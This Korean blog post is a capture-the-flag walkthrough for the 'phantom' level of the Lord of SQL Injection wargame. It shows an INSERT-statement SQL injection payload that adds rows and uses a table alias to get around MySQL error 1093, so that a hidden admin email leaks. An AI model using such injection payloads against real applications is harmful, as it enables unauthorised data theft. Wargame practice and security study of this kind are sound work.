ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> phantom
    Wargame/Lord of SQL Injection 2021. 12. 2. 11:47

    phantom

    email을 찾는 문제인 듯 하다.

     

    GET 방식으로 전달받은 joinmail에서 duplicate를 필터링한다.

    insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}');

    위 구문을 이용해서 테이블에 레코드를 추가할 수 있다.

    joinmail에 1을 넣어보면

     

    별도의 필터가 없으므로

    insert into prob_phantom values(0, 자기 IP, '1'), (0, 자기 IP, '2')로 여러 개의 레코드를 삽입할 수 있다.

     

    이를 이용해서

    insert into prob_phantom values (0, 자기 IP, '1'), (0, 자기 IP, (select email from prob_phantom where no=1)로 만들면

    아무 일도 일어나지 않는다.

     

    MySQL에서 insert, update, delete 등을 수행할 때 본 쿼리 테이블과 같은 테이블에서 서브쿼리로 값을 가져오면

    SQL Error [1093]이 발생한다. 오라클에서는 문제없이 동작하지만, MySQL이나 MariaDB에서는 동작하지 않는다.

     

    alias를 이용해 이를 우회할 수 있다.

    insert into prob_phantom values (0, 자기 IP, '1'), (0, 자기 IP, (select email from prob_phantom [AS] 아무글자 where no=1)의 형태로 만들기 위해

    ?joinmail=1'),(0,'58.120.71.214', (select email from prob_phantom AS a where no=1))%23를 입력하면

    "admin_secure_email@rubiya.kr"라는 이메일을 구할 수 있다.

     

    문제를 해결할기 위한 쿼리는

    "select email form prob_phantom where no=1 and email='{$_GET[email]}'" 이므로

    ?email=admin_secure_email@rubiya.kr를 입력하면

    문제를 해결할 수 있다.

Designed by Tistory.